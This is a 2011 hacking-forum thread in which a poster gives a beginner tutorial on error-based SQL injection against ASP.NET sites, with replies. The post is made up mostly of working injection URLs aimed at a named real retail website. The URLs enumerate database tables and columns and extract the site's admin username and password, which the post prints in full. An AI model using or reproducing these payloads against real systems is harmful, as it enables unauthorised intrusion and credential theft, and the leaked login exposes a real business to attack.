

Forum:[Hack Forums](#)

Thread: [\[NooB Friendly\]\[TUT\]Hack ASPX Websites With SQL Injections\[\[NooB Friendly\]\[TUT\]](#)

Mord FustanG - July 17, 2011, 8:34 am

Hack ASPX Websites With SQL Injections

Vulnerable link:

Code `http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton`

Step 1:

Code `http://pothys.com/ImageDisplay.aspx?Id=1535&Prod=SilkCotton order by 1--`

The above query gives a "Page not Found" error. Hence we use the following link for rest of the queries:

Code `http://pothys.com/ImageDisplay.aspx?Id=1535`

Step 2: Finding the column names

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 having 1=1`

[img]<http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img2.jpg>[/img]

The selected text represents the column names.

Step 3: Finding the table names

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables))`

[img]<http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img3.jpg>[/img]

Here the highlighted text is the first table in the database. But we are interested in finding the admin table. So lets try to find the next table in the database.

So the next query is:

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('Tab_FinalOrder')))`

[img]<http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img4.jpg>[/img]

So the name of the admin table is "AdminMaster"

Step 4: To find the columns in "AdminMaster" table

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster'))`

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'AdminMaster' and column_name not in ('Admin_name')))`

Column names: "Admin_name" and "Admin_password"

[img]<http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img5.jpg>[/img]

[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img6.jpg[/img]

Step 5: Finding the username and password

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_name from AdminMaster))`

Code `http://pothys.com/ImageDisplay.aspx?Id=1535 and 1=convert(int,(select top 1 Admin_password from AdminMaster))`

[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img7.jpg[/img]

[img]http://i813.photobucket.com/albums/zz58/shyamraj87/aspx%20tut/img8.jpg[/img]

Username: admin

Password: pothys!@#

Hope You May Like My Share

bombasschicken - July 17, 2011, 10:55 am

wow.. extensive.. nice share dude... will come in handy..

anonymous - July 17, 2011, 11:02 am

ooow, the passwords changed...

Gee4rce - April 12, 2012, 12:38 am

Thanks a lot for this very nice Tutorial - i've seen this error so often and wondered everytime if its exploitable - now i know!

Thanks Dude, Bookmarked this :) Greetings, Gee.

TwinBlade - April 12, 2012, 1:02 am

i saw this error yesterday, tried ur method..

but it was of no use.. same error

AkDK - November 24, 2015, 2:14 am

Not Working From This Way i Try It :(